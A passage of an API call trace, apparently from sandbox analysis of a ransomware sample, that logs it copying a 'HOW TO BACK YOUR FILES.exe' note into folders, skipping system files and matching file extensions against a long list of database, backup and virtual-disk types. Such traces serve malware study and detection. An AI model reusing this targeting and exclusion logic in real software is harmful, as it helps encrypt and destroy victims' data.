ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.339] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.339] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0054.339] lstrcmpiW (lpString1="Sample Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.339] lstrcmpiW (lpString1="Sample Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.339] lstrcmpiW (lpString1="Sample Videos", lpString2=".") returned 1 [0054.339] lstrcmpiW (lpString1="Sample Videos", lpString2="..") returned 1 [0054.339] lstrcmpiW (lpString1="Sample Videos", lpString2="windows") returned -1 [0054.339] lstrcmpiW (lpString1="Sample Videos", lpString2="bootmgr") returned 1 [0054.339] lstrcmpiW (lpString1="Sample Videos", lpString2="temp") returned -1 [0054.339] lstrcmpiW (lpString1="Sample Videos", lpString2="pagefile.sys") returned 1 [0054.339] lstrcmpiW (lpString1="Sample Videos", lpString2="boot") returned 1 [0054.339] lstrcmpiW (lpString1="Sample Videos", lpString2="ids.txt") returned 1 [0054.339] lstrcmpiW (lpString1="Sample Videos", lpString2="ntuser.dat") returned 1 [0054.339] lstrcmpiW (lpString1="Sample Videos", lpString2="perflogs") returned 1 [0054.339] lstrcmpiW (lpString1="Sample Videos", lpString2="MSBuild") returned 1 [0054.339] lstrlenW (lpString="Sample Videos") returned 13 [0054.339] lstrcpyW (in: lpString1=0x241e898, lpString2="Sample Videos" | out: lpString1="Sample Videos") returned="Sample Videos" [0054.339] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Public\\Videos\\Sample Videos", dwFileAttributes=0x10) returned 1 [0054.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf90 [0054.340] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x52dde0 [0054.340] lstrcatW (in: lpString1="Sample Videos", lpString2="\\" | out: lpString1="Sample Videos\\") returned="Sample Videos\\" [0054.340] lstrcatW (in: lpString1="Sample Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Videos\\HOW TO BACK YOUR FILES.exe") returned="Sample Videos\\HOW TO BACK YOUR FILES.exe" [0054.340] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Videos\\Sample Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\videos\\sample videos\\how to back your files.exe"), bFailIfExists=1) returned 1 [0054.342] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0054.342] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.342] ReleaseMutex (hMutex=0xec) returned 1 [0054.342] CloseHandle (hObject=0xec) returned 1 [0054.342] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" [0054.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518788 | out: hHeap=0x4f0000) returned 1 [0054.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509008 | out: hHeap=0x4f0000) returned 1 [0054.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned 62 [0054.342] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D3CC74FB4EEE3DA6FCE7463EA1F857BF") returned 0xec [0054.342] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.342] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" [0054.342] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.342] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.343] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.343] GetLastError () returned 0x0 [0054.343] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.343] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.344] CloseHandle (hObject=0xf4) returned 1 [0054.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.344] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.344] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd320800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd320800, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.344] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.344] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.344] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.344] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd320800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd320800, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.344] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.344] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.344] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.344] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.344] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0054.344] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.344] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.344] lstrcmpiW (lpString1="ExcelLR.cab", lpString2=".") returned 1 [0054.344] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="..") returned 1 [0054.344] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="windows") returned -1 [0054.344] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="bootmgr") returned 1 [0054.344] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="temp") returned -1 [0054.344] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="pagefile.sys") returned -1 [0054.344] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="boot") returned 1 [0054.344] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="ids.txt") returned -1 [0054.344] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="ntuser.dat") returned -1 [0054.344] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="perflogs") returned -1 [0054.344] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="MSBuild") returned -1 [0054.344] lstrlenW (lpString="ExcelLR.cab") returned 11 [0054.345] lstrcpyW (in: lpString1=0x241e8c6, lpString2="ExcelLR.cab" | out: lpString1="ExcelLR.cab") returned="ExcelLR.cab" [0054.345] lstrlenW (lpString="ExcelLR.cab") returned 11 [0054.345] lstrlenW (lpString="Athena865") returned 9 [0054.345] lstrcmpiW (lpString1="celLR.cab", lpString2="Athena865") returned 1 [0054.345] lstrlenW (lpString=".dll") returned 4 [0054.345] lstrcmpiW (lpString1="ExcelLR.cab", lpString2=".dll") returned 1 [0054.345] lstrlenW (lpString=".lnk") returned 4 [0054.345] lstrcmpiW (lpString1="ExcelLR.cab", lpString2=".lnk") returned 1 [0054.345] lstrlenW (lpString=".ini") returned 4 [0054.345] lstrcmpiW (lpString1="ExcelLR.cab", lpString2=".ini") returned 1 [0054.345] lstrlenW (lpString=".sys") returned 4 [0054.345] lstrcmpiW (lpString1="ExcelLR.cab", lpString2=".sys") returned 1 [0054.345] lstrlenW (lpString="ExcelLR.cab") returned 11 [0054.345] lstrlenW (lpString="bak") returned 3 [0054.345] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0054.345] lstrlenW (lpString="ba_") returned 3 [0054.345] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0054.345] lstrlenW (lpString="dbb") returned 3 [0054.345] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0054.345] lstrlenW (lpString="vmdk") returned 4 [0054.345] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0054.345] lstrlenW (lpString="rar") returned 3 [0054.345] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0054.345] lstrlenW (lpString="zip") returned 3 [0054.345] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0054.345] lstrlenW (lpString="tgz") returned 3 [0054.345] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0054.345] lstrlenW (lpString="vbox") returned 4 [0054.345] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0054.345] lstrlenW (lpString="vdi") returned 3 [0054.345] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0054.345] lstrlenW (lpString="vhd") returned 3 [0054.345] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0054.345] lstrlenW (lpString="vhdx") returned 4 [0054.346] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0054.346] lstrlenW (lpString="avhd") returned 4 [0054.346] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0054.346] lstrlenW (lpString="db") returned 2 [0054.346] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0054.346] lstrlenW (lpString="db2") returned 3 [0054.346] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0054.346] lstrlenW (lpString="db3") returned 3 [0054.346] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0054.346] lstrlenW (lpString="dbf") returned 3 [0054.346] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0054.346] lstrlenW (lpString="mdf") returned 3 [0054.346] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0054.346] lstrlenW (lpString="mdb") returned 3 [0054.346] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0054.346] lstrlenW (lpString="sql") returned 3 [0054.346] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0054.346] lstrlenW (lpString="sqlite") returned 6 [0054.346] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1 [0054.346] lstrlenW (lpString="sqlite3") returned 7 [0054.346] lstrcmpiW (lpString1="lLR.cab", lpString2="sqlite3") returned -1 [0054.346] lstrlenW (lpString="sqlitedb") returned 8 [0054.346] lstrcmpiW (lpString1="elLR.cab", lpString2="sqlitedb") returned -1 [0054.346] lstrlenW (lpString="xml") returned 3 [0054.346] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0054.346] lstrlenW (lpString="$er") returned 3 [0054.346] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0054.346] lstrlenW (lpString="4dd") returned 3 [0054.346] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0054.346] lstrlenW (lpString="4dl") returned 3 [0054.346] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0054.346] lstrlenW (lpString="^^^") returned 3 [0054.346] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0054.347] lstrlenW (lpString="abs") returned 3 [0054.347] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0054.347] lstrlenW (lpString="abx") returned 3 [0054.347] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0054.347] lstrlenW (lpString="accdb") returned 5 [0054.347] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1 [0054.347] lstrlenW (lpString="accdc") returned 5 [0054.347] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1 [0054.347] lstrlenW (lpString="accde") returned 5 [0054.347] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1 [0054.347] lstrlenW (lpString="accdr") returned 5 [0054.347] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1 [0054.347] lstrlenW (lpString="accdt") returned 5 [0054.347] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1 [0054.347] lstrlenW (lpString="accdw") returned 5 [0054.347] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1 [0054.347] lstrlenW (lpString="accft") returned 5 [0054.347] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1 [0054.347] lstrlenW (lpString="adb") returned 3 [0054.347] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0054.347] lstrlenW (lpString="adb") returned 3 [0054.347] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0054.347] lstrlenW (lpString="ade") returned 3 [0054.347] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0054.347] lstrlenW (lpString="adf") returned 3 [0054.347] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0054.347] lstrlenW (lpString="adn") returned 3 [0054.347] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0054.347] lstrlenW (lpString="adp") returned 3 [0054.347] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0054.347] lstrlenW (lpString="alf") returned 3 [0054.347] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0054.347] lstrlenW (lpString="ask") returned 3 [0054.347] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0054.348] lstrlenW (lpString="btr") returned 3 [0054.348] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0054.348] lstrlenW (lpString="cat") returned 3 [0054.348] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0054.348] lstrlenW (lpString="cdb") returned 3 [0054.348] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0054.348] lstrlenW (lpString="ckp") returned 3 [0054.348] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0054.348] lstrlenW (lpString="cma") returned 3 [0054.348] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0054.348] lstrlenW (lpString="cpd") returned 3 [0054.348] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0054.348] lstrlenW (lpString="dacpac") returned 6 [0054.348] lstrcmpiW (lpString1="LR.cab", lpString2="dacpac") returned 1 [0054.348] lstrlenW (lpString="dad") returned 3 [0054.348] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0054.348] lstrlenW (lpString="dadiagrams") returned 10 [0054.348] lstrcmpiW (lpString1="xcelLR.cab", lpString2="dadiagrams") returned 1 [0054.348] lstrlenW (lpString="daschema") returned 8 [0054.348] lstrcmpiW (lpString1="elLR.cab", lpString2="daschema") returned 1 [0054.348] lstrlenW (lpString="db-journal") returned 10 [0054.348] lstrcmpiW (lpString1="xcelLR.cab", lpString2="db-journal") returned 1 [0054.348] lstrlenW (lpString="db-shm") returned 6 [0054.348] lstrcmpiW (lpString1="LR.cab", lpString2="db-shm") returned 1 [0054.348] lstrlenW (lpString="db-wal") returned 6 [0054.348] lstrcmpiW (lpString1="LR.cab", lpString2="db-wal") returned 1 [0054.348] lstrlenW (lpString="dbc") returned 3 [0054.348] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0054.348] lstrlenW (lpString="dbs") returned 3 [0054.348] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0054.348] lstrlenW (lpString="dbt") returned 3 [0054.348] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0054.348] lstrlenW (lpString="dbv") returned 3 [0054.348] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0054.349] lstrlenW (lpString="dbx") returned 3 [0054.349] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0054.349] lstrlenW (lpString="dcb") returned 3 [0054.349] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0054.349] lstrlenW (lpString="dct") returned 3 [0054.349] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0054.349] lstrlenW (lpString="dcx") returned 3 [0054.349] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0054.349] lstrlenW (lpString="ddl") returned 3 [0054.349] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0054.349] lstrlenW (lpString="dlis") returned 4 [0054.349] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0054.349] lstrlenW (lpString="dp1") returned 3 [0054.349] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0054.349] lstrlenW (lpString="dqy") returned 3 [0054.349] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0054.349] lstrlenW (lpString="dsk") returned 3 [0054.349] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0054.349] lstrlenW (lpString="dsn") returned 3 [0054.349] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0054.349] lstrlenW (lpString="dtsx") returned 4 [0054.349] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0054.349] lstrlenW (lpString="dxl") returned 3 [0054.349] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0054.349] lstrlenW (lpString="eco") returned 3 [0054.349] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0054.349] lstrlenW (lpString="ecx") returned 3 [0054.349] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0054.349] lstrlenW (lpString="edb") returned 3 [0054.349] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0054.349] lstrlenW (lpString="epim") returned 4 [0054.349] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0054.349] lstrlenW (lpString="fcd") returned 3 [0054.349] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0054.350] lstrlenW (lpString="fdb") returned 3 [0054.350] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0054.350] lstrlenW (lpString="fic") returned 3 [0054.350] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0054.350] lstrlenW (lpString="flexolibrary") returned 12 [0054.350] lstrlenW (lpString="fm5") returned 3 [0054.350] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0054.350] lstrlenW (lpString="fmp") returned 3 [0054.350] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0054.350] lstrlenW (lpString="fmp12") returned 5 [0054.350] lstrcmpiW (lpString1="R.cab", lpString2="fmp12") returned 1 [0054.350] lstrlenW (lpString="fmpsl") returned 5 [0054.350] lstrcmpiW (lpString1="R.cab", lpString2="fmpsl") returned 1 [0054.350] lstrlenW (lpString="fol") returned 3 [0054.350] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0054.350] lstrlenW (lpString="fp3") returned 3 [0054.350] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0054.350] lstrlenW (lpString="fp4") returned 3 [0054.350] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0054.350] lstrlenW (lpString="fp5") returned 3 [0054.350] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0054.350] lstrlenW (lpString="fp7") returned 3 [0054.350] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0054.350] lstrlenW (lpString="fpt") returned 3 [0054.350] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0054.350] lstrlenW (lpString="frm") returned 3 [0054.350] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0054.350] lstrlenW (lpString="gdb") returned 3 [0054.350] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0054.350] lstrlenW (lpString="gdb") returned 3 [0054.350] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0054.350] lstrlenW (lpString="grdb") returned 4 [0054.350] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0054.351] lstrlenW (lpString="gwi") returned 3 [0054.351] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0054.351] lstrlenW (lpString="hdb") returned 3 [0054.351] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0054.351] lstrlenW (lpString="his") returned 3 [0054.351] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0054.351] lstrlenW (lpString="ib") returned 2 [0054.351] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0054.351] lstrlenW (lpString="idb") returned 3 [0054.351] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0054.351] lstrlenW (lpString="ihx") returned 3 [0054.351] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0054.351] lstrlenW (lpString="itdb") returned 4 [0054.351] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0054.351] lstrlenW (lpString="itw") returned 3 [0054.351] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0054.351] lstrlenW (lpString="jet") returned 3 [0054.351] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0054.351] lstrlenW (lpString="jtx") returned 3 [0054.351] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0054.351] lstrlenW (lpString="kdb") returned 3 [0054.351] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0054.351] lstrlenW (lpString="kexi") returned 4 [0054.351] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0054.351] lstrlenW (lpString="kexic") returned 5 [0054.351] lstrcmpiW (lpString1="R.cab", lpString2="kexic") returned 1 [0054.351] lstrlenW (lpString="kexis") returned 5 [0054.351] lstrcmpiW (lpString1="R.cab", lpString2="kexis") returned 1 [0054.351] lstrlenW (lpString="lgc") returned 3 [0054.351] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0054.351] lstrlenW (lpString="lwx") returned 3 [0054.351] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0054.351] lstrlenW (lpString="maf") returned 3 [0054.351] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0054.352] lstrlenW (lpString="maq") returned 3 [0054.352] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0054.352] lstrlenW (lpString="mar") returned 3 [0054.352] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0054.352] lstrlenW (lpString="marshal") returned 7 [0054.352] lstrcmpiW (lpString1="lLR.cab", lpString2="marshal") returned -1 [0054.352] lstrlenW (lpString="mas") returned 3 [0054.352] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0054.352] lstrlenW (lpString="mav") returned 3 [0054.352] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0054.352] lstrlenW (lpString="maw") returned 3 [0054.352] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0054.352] lstrlenW (lpString="mdbhtml") returned 7 [0054.352] lstrcmpiW (lpString1="lLR.cab", lpString2="mdbhtml") returned -1 [0054.352] lstrlenW (lpString="mdn") returned 3 [0054.352] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0054.352] lstrlenW (lpString="mdt") returned 3 [0054.352] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0054.352] lstrlenW (lpString="mfd") returned 3 [0054.352] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0054.352] lstrlenW (lpString="mpd") returned 3 [0054.352] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0054.352] lstrlenW (lpString="mrg") returned 3 [0054.352] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0054.352] lstrlenW (lpString="mud") returned 3 [0054.352] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0054.353] lstrlenW (lpString="mwb") returned 3 [0054.353] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0054.353] lstrlenW (lpString="myd") returned 3 [0054.353] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0054.353] lstrlenW (lpString="ndf") returned 3 [0054.353] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0054.353] lstrlenW (lpString="nnt") returned 3 [0054.353] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0054.353] lstrlenW (lpString="nrmlib") returned 6 [0054.353] lstrcmpiW (lpString1="LR.cab", lpString2="nrmlib") returned -1 [0054.353] lstrlenW (lpString="ns2") returned 3 [0054.353] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0054.353] lstrlenW (lpString="ns3") returned 3 [0054.353] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0054.353] lstrlenW (lpString="ns4") returned 3 [0054.353] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0054.353] lstrlenW (lpString="nsf") returned 3 [0054.353] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0054.353] lstrlenW (lpString="nv") returned 2 [0054.353] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0054.354] lstrlenW (lpString="nv2") returned 3 [0054.354] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0054.354] lstrlenW (lpString="nwdb") returned 4 [0054.354] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0054.354] lstrlenW (lpString="nyf") returned 3 [0054.354] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0054.354] lstrlenW (lpString="odb") returned 3 [0054.354] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0054.354] lstrlenW 